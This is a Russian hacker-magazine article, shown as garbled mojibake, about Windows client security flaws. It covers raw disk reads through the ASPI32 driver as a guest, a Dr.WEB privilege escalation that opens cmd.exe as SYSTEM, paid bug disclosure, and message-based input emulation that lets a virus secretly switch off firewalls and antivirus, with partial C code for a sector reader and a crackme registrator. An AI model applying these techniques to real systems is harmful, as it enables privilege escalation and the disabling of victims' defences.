Ñåêðåòíûé êëþ÷ íè â êîåì ñëó÷àå íå
äîëæåí õðàíèòüñÿ íà êëèåíòñêîì
êîìïüþòåðå îòêðûòûì òåêñòîì, èíà÷å
åãî ïîõèòèò ëþáîé òðîÿí. Íåêîòîðûå
ïðîãðàììèñòû ïèøóò ñïåöèàëüíûé
äðàéâåð, çàùèùàþùèé ôàéë ñ ïàðî-
ëÿìè îò ïîñòîðîííåãî äîñòóïà, îäíàêî
ýòó ïðåãðàäó ëåãêî îáîéòè. Íàïðèìåð,
"âïðûñíóòü" õàêåðñêèé êîä íåïîñðåä-
ñòâåííî â ñàìó êëèåíòñêóþ ïðîãðàììó
è ïðî÷èòàòü ïàðîëü åå ðóêàìè. Ìîæ-
íî, êîíå÷íî, èñïîëüçîâàòü ïðîâåðêó
öåëîñòíîñòè, íî ýòî âðÿä ëè óñèëèò
íàäåæíîñòü. Ëó÷øå èñïîëüçîâàòü íå-
ñèììåòðè÷íóþ êðèïòîãðàôèþ è ñåàí-
ñîâûå êëþ÷è, àâòîìàòè÷åñêè ìåíÿþ-
ùèåñÿ êàæäûå 10-15 ìèíóò, à â îòâåò-
ñòâåííûõ ñëó÷àÿõ çàïèõàòü øèôðà-
òîð â USB-key.

Êîðî÷å ãîâîðÿ, áåç ïðåäâàðèòåëü-
íîé ïîäãîòîâêè ê ðàçðàáîòêå êðèïòîã-
ðàôè÷åñêèõ ïðîòîêîëîâ ëó÷øå íå
ïîäõîäèòü. Ýòî äîëæåí äåëàòü ñïåöè-
àëèñò è íå â îäèíî÷êó.

ÏÎÄÅËÈÑÜ ÏÐÈÂÈËÅÃÈßÌÈ
Ñ ÄÐÓÃÎÌ

Áîëüøèíñòâî ïîëüçîâàòåëåé ïîñ-
òîÿííî ðàáîòàþò ïîä àäìèíèñòðàòî-
ðîì ("àäìèíèñòðàòîð - ýòî êðóòî"), ÷òî
îòêðûâàåò ïîëíûé äîñòóï âñåì âèðó-
ñàì, õàêåðàì è ÷åðâÿì. Microsoft íàñ-
òîÿòåëüíî ðåêîìåíäóåò îãðàíè÷èòü
ñâîè ïðèâèëåãèè äî ìèíèìóìà è âõî-
äèòü ïîä àäìèíèñòðàòîðîì òîëüêî òîã-
äà, êîãäà â ñèñòåìå íåîáõîäèìî ÷òî-òî
íàñòðîèòü èëè ïîäêðóòèòü.

Íà ñàìîì äåëå íåçàâèñèìî îò òåêó-
ùåãî óðîâíÿ ïðèâèëåãèé â ñèñòåìå
âñåãäà ïðèñóòñòâóåò ìíîæåñòâî ïðî-
öåññîðîâ òèïà SYSTEM, à ýòî òî÷íî
êðó÷å, ÷åì àäìèíèñòðàòîð. ×àñòü èç
íèõ ïðèíàäëåæèò ñèñòåìíûì êîìïî-
íåíòàì, ÷àñòü - àíòèâèðóñíûì ñëóæ-
áàì è ïðî÷èì ïðèáëóäàì. Çà÷åì ýòî
íàäî? Äëÿ ñâîåé ðàáîòû àíòèâèðóñ
òðåáóåò íàèâûñøèõ ïðèâèëåãèé, íî
çàñòàâëÿòü ïîëüçîâàòåëÿ ïðè êàæäîì
çàïóñêå ïåðåêëþ÷àòüñÿ íà àäìèíèñò-
ðàòîðà íåãóìàííî è èäåîëîãè÷åñêè
íåïðàâèëüíî. Ïîýòîìó âåñü ïðèâèëå-
ãèðîâàííûé êîä ïîìåùàåòñÿ â ñëóæáó,
ðàáîòàþùóþ ñî ñïåöèàëüíûìè ïðàâà-
ìè äîñòóïà, à â îñîáî êðèòè÷åñêèõ ñëó-
÷àÿõ ïðèõîäèòñÿ ïðèáåãàòü ê ïîìîùè
äðàéâåðà, ðàáîòàþùåãî íà íóëåâîì
êîëüöå, ìîãóùåñòâî êîòîðîãî íè÷åì íå
îãðàíè÷åíî. Ëèøü íåìíîãèå äðàéâåðû
óïðàâëÿþò ðåàëüíûìè èëè âèðòóàëü-
íûìè óñòðîéñòâàìè. Ãîðàçäî ÷àùå îíè
èñïîëüçóþòñÿ êàê ñâîåîáðàçíûé
øëþç ê îïåðàöèÿì, êîòîðûå íà ïðèê-
ëàäíîì óðîâíå ïðîñòî íåâûïîëíèìû
(ïðî÷èòàòü ñåêòîð ñ äèñêà, îáðàòèòüñÿ
ê ïîðòàì ââîäà/âûâîäà è ò.ä.).
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Ëåçòü â êðèï-
òîãðàôèþ áåç
äîñòàòî÷íîãî
îïûòà - ñî
100% ãàðàíòè-
åé äîïóñêàòü
êðèòè÷åñêèå
îøèáêè â áåçî-
ïàñíîñòè.

Î÷åíü ÷àñòî
ðàçðàáàòûâàþò
îòëè÷íóþ ïà-
ðàäíóþ çàùèòó,
íî ñîâåðøåííî
çàáûâàþò ïðî
äðóãèå âîçìîæ-
íûå ëàçû.

// àäðåñ ïðîöåäóðû, êîòîðàÿ áóäåò ïîëó÷àòü óâåäîìëåíèÿ
SRB->SRB_PostProc = (void *) ASPI32Post;

// ïîñûëàåì SRB-çàïðîñ óñòðîéñòâó
SendASPI32Command(SRB);

// âîçâðàùàåìñÿ èç ôóíêöèè _äî_ çàâåðøåíèÿ âûïîëíåíèÿ çàïðîñà
return 0;

}

//----------------------------------------------------------------------------
// ýòà callback-ôóíêöèÿ âûçûâàåòñÿ ñàìèì ASPI è ïîëó÷àåò óïðàâëåíèå ïðè
// ïðè çàâåðøåíèè âûïîëíåíèÿ çàïðîñà èëè æå ïðè âîçíèêíîâåíèè îøèáêè.
// â êà÷åñòâå ïàðàìåòðà îíà ïîëó÷àåò óêàçàòåëü íà ýêçåìïëÿð ñòðóêòóðû
// PSRB_ExecSCSICmd, ñîäåðæàùåé âñþ íåîáõîäèìóþ èíôîðìàöèþ (ñòàòóñ, óêàçàòåëü
// íà áóôåð è ò.ä.)
//----------------------------------------------------------------------------
void ASPI32Post (void *Srb)
{

FILE *f;

// íàø çàïðîñ âûïîëíåí óñïåøíî?
if ((((PSRB_ExecSCSICmd) Srb)->SRB_Status) == SS_COMP)
{

// ÝÒÎÒ ÊÎÄ ÌÎÆÍÎ ÌÎÄÈÔÈÖÈÐÎÂÀÒÜ ÏÎ ÑÂÎÅÌÓ ÓÑÌÎÒÐÅÍÈÞ
//-------------------------------------------------------
// çàïèñûâàåò ñîäåðæèìîå ñåêòîðà â ôàéë
// âíèìàíèå! PSRB_ExecSCSICmd) Srb)->SRB_BufLen ñîäåðæèò íå àêòóàëüíóþ
// äëèíó ïðî÷èòàííûõ äàííûõ, à ðàçìåð ñàìîãî áóôåðà. åñëè êîëè÷åñòâî
// áàéò, âîçâðàùåííûõ óñòðîéñòâîì, îêàæåòñÿ ìåíüøå ðàçìåðîâ áóôåðà, òî
// åãî õâîñò áóäåò ñîäåðæàòü ìóñîð! çäåñü ìû èñïîëüçóåì ïîëå SRB_BufLen
// òîëüêî ïîòîìó, ÷òî ïðè âûçîâå ôóíêöèè SendASPI32Command òùàòåëüíî
// ñëåäèì çà ñîîòâåòñòâèåì ðàçìåðà áóôåðà êîëè÷åñòâó âîçâðàùàåìîé íàì

// èíôîðìàöèè
if (f=fopen(F_NAME, "w"))
{

// çàïèñûâàåò ñåêòîð â ôàéë
fwrite(((PSRB_ExecSCSICmd) Srb)->SRB_BufPointer,1,
((PSRB_ExecSCSICmd) Srb)->SRB_BufLen, f);
fclose(f);

}
// êóêàðåêàåì è "ðàçìîðàæèâàåì" ïîòîê, äàâàÿ ïîíÿòü, ÷òî ïðîöåäóðà
// ÷òåíèÿ çàêîí÷èëàñü
MessageBeep(0); SetEvent(hEvent);
//--------------------------------------------------------

}
}

main(int argc, char **argv)
{

void *p; int buf_len, TIME_OUT = 4000;

if (argc<5)
{

fprintf(stderr,"USAGE:\n\tREAD.EXE adapter_id"\
", read_id, StartSector, n_sec\n"); return 0;

}

// âû÷èñëÿåì äëèíó áóôåðà è âûäåëÿåì äëÿ íåãî ïàìÿòü
// ÂÍÈÌÀÍÈÅ: òàêèì îáðàçîì ìîæíî þçàòü òîëüêî äî 64 Êá
// åñëè æå òðåáóåòñÿ áóôåðà áîëüøèõ îáúåìîâ,
// èñïîëüçóé ôóíêöèþ GetASPI32Buffer
buf_len = PACKET_LEN*atol(argv[4]); p = malloc(buf_len*2);
memset(p,0x55,buf_len*2);

// ñîçäàåì ñîáûòèå
if ((hEvent = CreateEvent(NULL,FALSE,FALSE,NULL)) == NULL) return -1;

// ÷èòàåì îäèí èëè íåñêîëüêî ñåêòîðîâ
READ_SECTOR(atol(argv[1]), atol(argv[2]),p,buf_len, atol(argv[3]),

atol(argv[4]),WHATS_READ);

// æäåì çàâåðøåíèÿ âûïîëíåíèÿ îïåðàöèè
WaitForSingleObject(hEvent, TIME_OUT);

return 0;
}

×ÒÅÍÈÅ ÑÅÊÒÎÐÀ Ñ ÆÅÑÒÊÎÃÎ ÄÈÑÊÀ (ÏÐÎÄÎËÆÅÍÈÅ)



Åñëè õî÷åøü
ñîîáùèòü êî-
ìó-òî î íàé-
äåííîé îøèáêå
â åãî ñèñòåìå
áåçîïàñíîñòè,
íå ñïåøè: ëþ-
äè ðåàãèðóþò
àäåêâàòíî íå
âñåãäà :).

Ïðîåêòèðîâàíèå äðàéâåðîâ è ïðè-
âèëåãèðîâàííûõ ñëóæá òðåáóåò
áîëüøîãî âíèìàíèÿ è òùàòåëüíîé
ïîäãîòîâêè. Ëþáîé òàêîé äðàéâåð -
ýòî ïîòåíöèàëüíàÿ äûðà â ñèñòåìå
áåçîïàñíîñòè. Ïåðåä âûïîëíåíèåì
êàæäîãî "ñåðüåçíîãî" äåéñòâèÿ òðå-
áóåòñÿ ïðîâåñòè öåëûé ðÿä ïðîâå-
ðîê íà ïðåäìåò âûÿñíåíèÿ, èìååò ëè
ïîëüçîâàòåëü ïðàâî äåëàòü ýòî. Â
÷àñòíîñòè, ïðîãðàììû äëÿ ïðîæèãà
ëàçåðíûõ äèñêîâ óñòàíàâëèâàþò
äðàéâåðû, ïîçâîëÿþùèå îòïðàâèòü
SCSI/ATAPI-êîìàíäû ñ ïðèêëàäíîãî
óðîâíÿ. Ïðîâåðêà òèïà óñòðîéñòâà
îáû÷íî îòñóòñòâóåò èëè ðåàëèçîâà-
íà íåêîððåêòíî, ÷òî ïîçâîëÿåò óï-
ðàâëÿòü æåñòêèì äèñêîì äàæå ñ ãîñ-
òåâûìè ïðèâèëåãèÿìè! Ýòèì, â ÷àñò-
íîñòè, ñëàâèòñÿ ïîïóëÿðíûé ASPI32-
äðàéâåð îò êîìïàíèè Adaptec (âïðî-
÷åì, â ïîñëåäíèõ âåðñèÿõ ýòà îøèá-
êà áûëà èñïðàâëåíà).

Âî âðåçêå ïðèâåäåíà ïðîãðàììà,
ïîçâîëÿþùàÿ ÷èòàòü ñåêòîðû ñ æåñò-
êîãî äèñêà ÷åðåç ASPI32.

Äðóãîé ïðèìåð. Íå ìåíåå ïîïóëÿð-
íûé àíòèâèðóñ Dr.WEB ïðè çàïóñêå
èç ïàíåëè óïðàâëåíèÿ îòîáðàæàë
ãðàôè÷åñêèé èíòåðôåéñ, ïåðåäàâàÿ
åìó âñå ñâîè ïðèâèëåãèè (òî åñòü
SYSTEM), êîòîðûé îõîòíî ðàçäàâàë
èõ âñåì æåëàþùèì. Â ìåíþ About
ïðèñóòñòâîâàëà òðàäèöèîííàÿ ññûë-
êà íà ñòðàíè÷êó ðàçðàáîò÷èêîâ (êó-
äà æå áåç íåå), ïðè íàæàòèè íà êîòî-
ðóþ âûçûâàëñÿ áðàóçåð ïî óìîë÷à-
íèþ... À âîò ýòî óæå ëþê! Çàìåíèâ IE
íà ñâîþ ïðîãðàììó, õàêåð èìåë SYS-
TEM è ìîã âûòâîðÿòü âñå ÷òî óãîäíî.
Äàæå ñàìûé ïîñëåäíèé ëàìåð, íàá-
ðàâ â àäðåñíîé ñòðîêå ïóòü ê ëî-
êàëüíîìó ôàéëó (íàïðèìåð
"file://C:\WINNT\System32\cmd.exe),
ïîëó÷àë â ñâîå ðàñïîðÿæåíèå îðó-
äèå óáèéñòâåííîé ñèëû.

Ïðè ðàçðàáîòêå îòâåòñòâåííûõ
ïðèëîæåíèé äîâåðÿòü íèêîìó íåëü-
çÿ! Íè ñâîåìó ñîáñòâåííîìó êîäó,
íè äàæå îïåðàöèîííîé ñèñòåìå.
Ñëåäóåò ïðåäóñìîòðåòü âñå âîçìîæ-
íûå âàðèàíòû ðàçâèòèÿ ñîáûòèé, íî
è íå ñêàòûâàòüñÿ äî òðèâèàëüíîãî
ïîäñ÷åòà êîíòðîëüíûõ ñóìì, êîòî-
ðûé î÷åíü ëåãêî îòëîìàòü. Çàùèòà
äîëæíà çàùèùàòü, à íå ñîçäàòü âè-
äèìîñòü çàùèùåííîñòè. Ãîâîðÿò, â
Åãèïòå ïðÿìî ïîñðåäè ïóñòûíè óñòà-
íîâëåíû âîðîòà, ðåãëàìåíòèðóþ-
ùèå ââîä/âûâîä. Òüôó! Âõîä/âû-
õîä. Íó, ïîðÿäîê ó íèõ òàêîé. Íî áåç
âîðîò â ïóñòûíþ ñìîæåò ïîïàñòü
êòî óãîäíî è êîãäà óãîäíî. Òàê âîò,
ìíîãèå ïðîãðàììû ïîñòðîåíû ïî òîé
æå ñàìîé ñõåìå. Äà, â íèõ äåéñòâè-
òåëüíî åñòü ìîùíàÿ ñèñòåìà øèô-
ðîâàíèÿ è 128-áèòíûé êëþ÷ (à èíîã-
äà è 1024-áèòíûé), íî îíà óñòàíîâ-
ëåíà ïîñðåäè ïóñòûíè! E
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Ëþáîé äðàé-
âåð, ðàáîòàþ-
ùèé íà íóëå-
âîì êîëüöå, -
îòëè÷íàÿ âîç-
ìîæíîñòü ïî-
ëó÷èòü íåîáõî-
äèìûå ïðèâè-
ëåãèè.

Õîòÿ äåéñòâè-
òåëüíî ÷àùå
âñåãî âèíîâàòû
ñàìè ïîëüçî-
âàòåëè, êîòî-
ðûå ñèäÿò ïîä
àäìèíàìè. Íå
âñåãäà ïðèâè-
ëåãèè ïîëó÷à-
þòñÿ òîëüêî
ëîáîâûì ñïî-
ñîáîì.

ÈÍÑÒÐÓÊÒÀÆ ÏÅÐÅÄ ÁÎÅÌ22 ÊËÈÅÍÒ

Ïðåäñòàâèì ñåáå, ÷òî, èññëåäóÿ êîììåð÷åñêîå ïðèëîæåíèå, ìû îá-
íàðóæèëè ãðóáóþ îøèáêó (òî åñòü äûðó). Íàøè äåéñòâèÿ? Êòî-òî ïè-
øåò ýêñïëîéò èëè ÷åðâÿ, êòî-òî çàãîðàåòñÿ æåëàíèåì ÷åñòíî ñîîá-
ùèòü îá ýòîì ðàçðàáîò÷èêàì. À ïî÷åìó áû è íåò? Ìîæåò, ó ÷åëîâåêà
òàêàÿ äóøà, â ãëóáèíå êîòîðîé îí íàäååòñÿ, ÷òî åìó çà ýòî ÷òî-òî ïå-
ðåïàäåò. Êàê æå, äåðæè êàðìàí øèðå! Õîðîøî åñëè â òþðüìó íå óïå-
êóò. Îáçîâóò õàêåðîì, òåððîðèñòîì è êàê âîòêíóò! Òî åñòü ïîèìåþò.

Íóæíî äåéñòâîâàòü ïðåäåëüíî îñòîðîæíî. Íå äîëæíî áûòü è ìà-
ëåéøåãî íàìåêà íà øàíòàæ - íè ÿâíîãî, íè ïðåäïîëàãàåìîãî. Èùè
íà ñàéòå àäðåñà ðåàëüíûõ ñïåöèàëèñòîâ, à íå ìàíàãåðîâ è ìàðêåòî-
èäîâ, îò êîòîðûõ íèêàêîãî òîëêó âñå ðàâíî íåò, òîëüêî îäíà íåðâîò-
ðåïêà è ïîòåðÿ âðåìåíè. Ëó÷øå ïèñàòü ñðàçó íà íåñêîëüêî àäðå-
ñîâ, ñ ïîìåòêîé "âåäóùåìó ñïåöèàëèñòó", ÷òîáû îñòàëüíûå ñîòðóä-
íèêè, íàïðèìåð ñåêðåòàðøè, ïîëó÷èâ ïèñüìî, ñìîãëè ïåðåïðàâèòü
åãî ïî íóæíîìó àäðåñó, ÷òî çíà÷èòåëüíî óâåëè÷èâàåò øàíñû íà óñ-
ïåõ. Ïèñüìà áåç ïîìåòîê ïåðåñûëàþòñÿ íàóãàä è ÷àñòî òåðÿþòñÿ â
áþðîêðàòè÷åñêèõ äåáðÿõ :).

Òàêæå ìîæíî ïîèñêàòü â èíòåðíåòå ëþáûå ñòàòüè, ïîäïèñàííûå
ñîòðóäíèêàìè ýòîé ôèðìû (åñëè îíè ïîïàäóòñÿ - ýòî óðà), èëè ïîç-
âîíèòü â ãîëîâíîé îôèñ è ïîòðåáîâàòü ó ñåêðåòàðøè êîíòàêòíûé
àäðåñ ñïåöèàëèñòîâ, ñ êîòîðûìè ìîæíî îáñóäèòü òåõíè÷åñêèå
ïðîáëåìû, ñâÿçàííûå ñ êîíñòðóêòèâíûìè äåôåêòàìè ïðîãðàììíîãî
îáåñïå÷åíèÿ.

Ïèñüìî äîëæíî áûòü ìàêñèìàëüíî êðàòêèì. Íå íóæíî âäàâàòüñÿ â êà-
êèå áû òî íè áûëî ïîäðîáíîñòè, à ïðîñòî âçÿòü è íàïèñàòü: "Ãîñïîäà,
ÿ íàøåë â âàøåé ïðîãðàììå êðèòè÷åñêóþ óÿçâèìîñòü, î êîòîðîé õî÷ó
ñîîáùèòü âàì, íî íå çíàþ, êàê ñäåëàòü ýòî êîððåêòíî. Âîò ìîé òåëå-
ôîí (ïî ìûëó èíîñòðàíöû íå îáñóæäàþò ñåðüåçíûå âîïðîñû), ÿ äîñ-
òóïåí ñ òàêîãî-òî ïî òàêîå-òî âðåìÿ ïî Ãðèíâè÷ó, ðàçãîâàðèâàþ íà òà-
êèõ-òî ÿçûêàõ". Ðàçãîâîðíûé àíãëèéñêèé òîëüêî ïðèâåòñòâóåòñÿ, íî
äàæå åñëè íå âëàäååøü èì - íå áåäà. Áóäåò íóæíî - íàéäóò ïåðåâîä-
÷èêà, åñëè, êîíå÷íî, óïîìÿíóòü î ÿçûêîâîì áàðüåðå çàðàíåå :).

Ñ âåðîÿòíîñòüþ, áëèçêîé ê åäèíèöå, ñ òîáîé äåéñòâèòåëüíî ñâÿæóò-
ñÿ. Ïåðâûì îòðåàãèðóåò êàêîé-òî ìàíàãåð. Íå òåðÿé âðåìÿ è ïîøëè
åãî :), òîëüêî êóëüòóðíî. Äàëüøå âîçìîæíû òðè âàðèàíòà ðàçâèòèÿ
ñîáûòèé. Åñëè ïîâåçåò, òû ïîïàäåøü íà èíæåíåðà, êîòîðûé çàõî÷åò
èñïîëüçîâàòü ýòîò áàã êàê êîçûðü âî âíóòðèôèðìåííîé áîðüáå è â
îáìåí íà ìîë÷àíèå îí ìîæåò äàæå ÷òî-òî è çàïëàòèòü. Íî ñêîðåå
âñåãî, òåáå ñêàæóò, ÷òî "ýòî íå äûðà, à äèçàññåìáëèðîâàòü ïðîãðàì-
ìû íåõîðîøî, ýòèì çàíèìàþòñÿ òîëüêî õàêåðû, òåððîðèñòû è äðó-
ãèå èíôîðìàöèîííûå ïðåñòóïíèêè". Ïîñàäèòü íå ïîñàäÿò, íî âèçã,
ñêîðåå âñåãî, ïîäíèìóò. Èíîãäà ãîâîðÿò: "Ñïàñèáî. Åñëè íàéäåòå
åùå äûðû, ïðèñûëàéòå".

Íà âñÿêèé ñëó÷àé âñþ ïåðåïèñêó âåäè ÷åðåç þðèñòà. Äàæå åñëè îí
íå ðàçáèðàåòñÿ â òîíêîñòÿõ êîìïüþòåðíûõ òåõíîëîãèé, äîêàçàòü
îòñóòñòâèå çëîãî óìûñëà è ñîñòàâà ïðåñòóïëåíèÿ îí ñóìååò. Îäíà-
êî þðèñò - ýòî ðàñõîäû. Ê ÷åìó îíè? Åñëè òû äåéñòâèòåëüíî õî÷åøü
çàðàáîòàòü, ëó÷øå ñëèòü ýòó èíôîðìàöèþ êîìàíäå òèãðîâ èëè
îïóáëèêîâàòü â æóðíàëå. Òèãðû - ýòî òàêèå ðåáÿòà, êîòîðûå çàíè-
ìàþòñÿ òåñòàìè íà ïðîíèêíîâåíèå. Íà âïîëíå ëåãàëüíîì îñíîâà-
íèè, êñòàòè. Ñðåäíÿÿ òàêñà çà äûðó ñîñòàâëÿåò ïîðÿäêà $50-300. Ñ
äðóãîé ñòîðîíû, îòå÷åñòâåííûå æóðíàëû ïëàòÿò $100-300 çà
ñòàòüþ, à çàðóáåæíûå - åùå áîëüøå. Ê òîìó æå ïóáëèêàöèè - ýòî
ïî÷åòíî. Â íåêîòîðûõ ôèðìàõ çà ýòî äàæå âûïëà÷èâàþò íåáîëü-
øóþ ïðèáàâêó ê çàðïëàòå. Íàâàð ïîëó÷àåòñÿ âïîëíå ðåàëüíûé, à ê
ðàçðàáîò÷èêàì óÿçâèìîãî ïðèëîæåíèÿ ñî ñâîèìè îòêðûòèÿìè ëó÷-
øå íèêîãäà íå ñîâàòüñÿ.

ÝÒÈÊÅÒ ÑÎÎÁÙÅÍÈÉ ÎÁ ÎØÈÁÊÀÕ



Ìåñòî ASPI32 â èåðàðõèè äðàéâåðîâ

Êîìàíäíûé èíòåðïðåòàòîð, çàïóùåííûé èç IE

Ðàáî÷åå ìåñòî íàñòîÿùåãî õàêåðà



nezumi

Î êîííûé èíòåðôåéñ îïåðàöèîííîé ñèñòåìû Windows ïîñòðîåí íà ñèñòåìå ñîîáùåíèé, ïðîíèçûâàþùèé âñå ýëåìåíòû
óïðàâëåíèÿ. Ëþáîå ïðèëîæåíèå, íåçàâèñèìî îò óðîâíÿ ñâîèõ ïðèâèëåãèé, ìîæåò ðàññûëàòü ñîîáùåíèÿ, àäðåñóåìûå

áîëåå ïðèâèëåãèðîâàííûì ïðèëîæåíèÿì, è îíè âîñïðèíèìàþòñÿ êàê ïðàâèëüíûå. Ìåõàíèçìû àóòåíòèôèêàöèè
îòñóòñòâóþò. Íà÷èñòî!

ÈÇÄÅÂÀÒÅËÜÑÒÂÎ 
ÍÀÄ ÎÊÍÀÌÈ
ÝÌÓËßÖÈß ÂÂÎÄÀ Ñ ÊËÀÂÈÀÒÓÐÛ

òî ïîçâîëÿåò ëåãêî
ýìóëèðîâàòü äâèæåíèå
ìûøè è ââîä ñ êëàâèà-
òóðû, óïðàâëÿÿ àòàêóå-
ìûì ïðèëîæåíèåì, êàê

ðóëåì. Ýìóëÿöèÿ ââîäà ïîçâîëÿåò ïå-
ðåõâàòûâàòü êëàâèàòóðíûé ââîä, ñ÷è-
òûâàòü ñîñòîÿíèå ýëåìåíòîâ óïðàâ-
ëåíèÿ (íàïðèìåð ñòðîêè ðåäàêòèðî-
âàíèÿ) è äàæå ïåðåäàâàòü óïðàâëå-
íèå íà ñâîé ñîáñòâåííûé shell-êîä.
Êàê ìîæíî èñïîëüçîâàòü ýòî? Íàï-
ðèìåð, â ñèñòåìå èìååòñÿ ôàéðâîë,
áëîêèðóþùèé äîñòóï íàðóæó. Íî íå
ñèäåòü æå âñå âðåìÿ âçàïåðòè. Ñêî-
ðåå âñåãî, â íàñòîéêàõ ôàéðâîëà áó-
äåò îïöèÿ, îòêëþ÷àþùàÿ çàùèòó. Òî
æå ñàìîå ñïðàâåäëèâî è äëÿ àíòèâè-
ðóñíûõ ñòîðîæåé.

×òî äåëàåò âèðóñ? Îí çàïóñêàåò
ôàéðâîë/àíòèâèðóñ, íàõîäèò ãëàâíîå
îêíî ïðèëîæåíèÿ, ïîñûëàåò åìó ñîîá-
ùåíèå "ñòàíü íåâèäèìûì", çàòåì ýìó-
ëèðóåò ïîñëåäîâàòåëüíîñòü íàæàòèé,
âûçûâàþùèõ Öåíòð Óïðàâëåíèÿ, è
÷òî-òî òàì "íàæèìàåò". Åñòåñòâåííî,
êîãäà âñÿ ðàáîòà áóäåò ñäåëàíà, çà-
ùèòó íåîáõîäèìî âêëþ÷èòü âíîâü,
èíà÷å íàñ î÷åíü áûñòðî ðàçîáëà÷àò.

Êîíå÷íî, ýòà ìåòîäèêà äàëåêî íå
óíèâåðñàëüíà. Âèðóñ äîëæåí ïîääåð-
æèâàòü âñå òèïû ïîïóëÿðíûõ àíòèâè-
ðóñîâ è ôàéðâîëîâ, èíà÷å åìó íè çà
÷òî íå âûæèòü â àãðåññèâíîé ñðåäå
íåäðóæåëþáíî íàñòðîåííîãî êèáåðïðî-
ñòðàíñòâà. Íî óíèâåðñàëüíûõ ìåòîäèê
çàõâàòà óïðàâëåíèÿ âîîáùå-òî íå ñó-
ùåñòâóåò. È â îòëè÷èå îò "äûð", êîòî-
ðûå çàêðûâàþòñÿ î÷åðåäíîé çàïëàò-
êîé, ýìóëÿöèÿ ââîäà ìîæåò ðàññ÷èòû-
âàòü íà äîëãîñðî÷íóþ ïåðñïåêòèâó, ê
òîìó æå ïîïóëÿðíûõ çàùèòíûõ ïðîã-
ðàìì íå òàê óæ ìíîãî. Ãäå-òî ñ äåñÿ-
òîê, íó, îò ñèëû ïîëòîðà äåñÿòêà. Òàê
÷òî ýòà ìåòîäèêà èìååò ïîëíîå ïðàâî
íà ñóùåñòâîâàíèå.

ÍÀÕÎÄÈÌ ×ÓÆÎÅ ÎÊÍÎ
È ÏÐÎÁÓÅÌ ÈÇÄÅÂÀÒÜÑß
ÍÀÄ ÍÈÌ

Äëÿ ýìóëÿöèè ââîäà òåáå ïîòðå-
áóåòñÿ äåñêðèïòîð îêíà, êîòîðîå áó-
äåò ïðèíèìàòü ñîîáùåíèÿ. Äåñêðèï-
òîð ìîæíî ïîëó÷èòü íåñêîëüêèìè
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ÈÇÄÅÂÀÒÅËÜÑÒÂÎ ÍÀÄ ÎÊÍÀÌÈ24 ÊËÈÅÍÒ

// ÊÎÍÔÈÃÓÐÀÖÈß
#define MAX_STR 100
#define NAMEWIN "èìÿ_ïðèëîæåíèÿ"

// ÃËÎÁÀËÜÍÛÅ ÏÅÐÅÌÅÍÍÛÅ (ïðîñòî, õîòÿ è áåçâêóñíî)
HWND regnum = 0;
HWND me_hwnd = 0;
HWND hackreg = 0;
HWND username = 0;
HWND input_but = 0;

// ÏÅÐÅ×ÈÑËÅÍÈÅ ÎÊÎÍ ÂÅÐÕÍÅÃÎ ÓÐÎÂÍß
// ===========================================================================
// èùåì îêíî ñ çàãîëîâêîì NAMEWIN è çàíîñèì åãî õýíäë â ãë. ïåðåìåííóþ me_hwnd
BOOL CALLBACK EnumWindowsProc(HWND hwnd,LPARAM lParam)
{

char buf[MAX_STR];
// ÷èòàåì çàãîëîâîê GetWindowText(hwnd, buf, MAX_STR - 1);
// ýòî NAMEWIN?
if (strstr(buf, NAMEWIN) == buf)
{

me_hwnd = hwnd; // ïîëó÷àåì åãî hwnd è ïðåêðàùàåì ïðîñìîòð îêîí
return 0;

}

return 1; // ïðîñìîòð îêîí ïðîäîëæàåòñÿ
}

// ÏÅÐÅ×ÈÑËÅÍÈÅ ÄÎ×ÅÐÍÈÕ ÎÊÎÍ crackme
// ===========================================================================
// ïîëó÷àåì õýíäëû âñåõ èíòåðåñóþùèõ íàñ îêîí
// (ïîðÿäîê îêîí îïðåäåëÿåì ëèáî ýêñïåðèìåíòàëüíî
BOOL CALLBACK EnumChildWindowsProc(HWND hwnd,LPARAM lParam)
{

static N = 0;

switch(++N)
{

case 3: // îêíî ñ èìåíåì ïîëüçîâàòåëÿ
username = hwnd;
break;

case 4: // text ñî ñòðîêîé "reg. num."
hackreg = hwnd;
break;

case 5: // îêíî äëÿ ââîäà ðåãèñòðàöèîííîãî íîìåðà
regnum = hwnd;
break;

case 6: // êíîïêà ââîäà

ÔÐÀÃÌÅÍÒ ÀÂÒÎÌÀÒÈ×ÅÑÊÎÃÎ ÐÅÃÈÑÒÐÀÒÎÐÀ,
ÄÅÌÎÍÑÒÐÈÐÓÞÙÈÉ ÒÅÕÍÈÊÓ ÝÌÓËßÖÈÈ ÂÂÎÄÀ

»



Äëÿ ýìóëÿöèè
ââîäà ñíà÷àëà
íóæíî óñòàíî-
âèòü ôîêóñ
(WM_SETFO-
CUS), à ïîòîì
óáèòü ýòîò ôî-
êóñ (WM_KILL-
FOCUS), òàê
êàê êíîïêà
ñðàáàòûâàåò â
ìîìåíò îòïóñ-
êàíèÿ. 

ñïîñîáàìè. Ñàìîå ïðîñòîå - âîñïîëü-
çîâàòüñÿ API-âûçîâîì FindWindow,
âîçâðàùàþùèì äåñêðèïòîð îêíà ïî
åãî íàçâàíèþ (òåêñòîâîé ñòðîêå, êðà-
ñóþùåéñÿ â çàãîëîâêå). Áîëåå ñëîæ-
íûé, íî è áîëåå ãèáêèé âàðèàíò ñâî-
äèòñÿ ê ïîñëåäîâàòåëüíîìó ïåðåáîðó
(ïåðå÷èñëåíèþ) âñåõ èìåþùèõñÿ
îêîí. Ïåðå÷èñëåíèåì îêîí âåðõíåãî
óðîâíÿ çàíèìàåòñÿ API-ôóíêöèÿ
EnumWindows, à äî÷åðíèå îêíà (ýëå-

ìåíòû óïðàâëåíèÿ â òîì ÷èñëå) áåðåò
íà ñåáÿ EnumChildWindows.

Ïîëó÷èòü äåñêðèïòîð ãëàâíîãî îêíà
àòàêóåìîãî ïðèëîæåíèÿ � íå ïðîáëå-
ìà, òàê êàê ìû çíàåì åãî èìÿ, êîòîðîå
â áîëüøèíñòâå ñëó÷àåâ îäíîçíà÷íî
èäåíòèôèöèðóåò äàííîå îêíî. Ñ äî-
÷åðíèìè îêíàìè ñïðàâèòüñÿ íå â ïðè-
ìåð ñëîæíåå. Êíîïêè åùå ìîæíî ðàñ-
ïîçíàòü ïî íàäïèñÿì (ïîëó÷àåì äåñê-
ðèïòîðû âñåõ äî÷åðíèõ îêîí âûçîâîì

EnumChildWindows, à çàòåì ïîñûëàåì
êàæäîìó èç íèõ ñîîáùåíèå WM_GET-
TEXT ñ òðåáîâàíèåì ñêàçàòü, êîãî êàê
çîâóò, ïîñëå ÷åãî îñòàíåòñÿ ëèøü ñî-
ïîñòàâèòü äåñêðèïòîðû êíîïîê ñ èõ
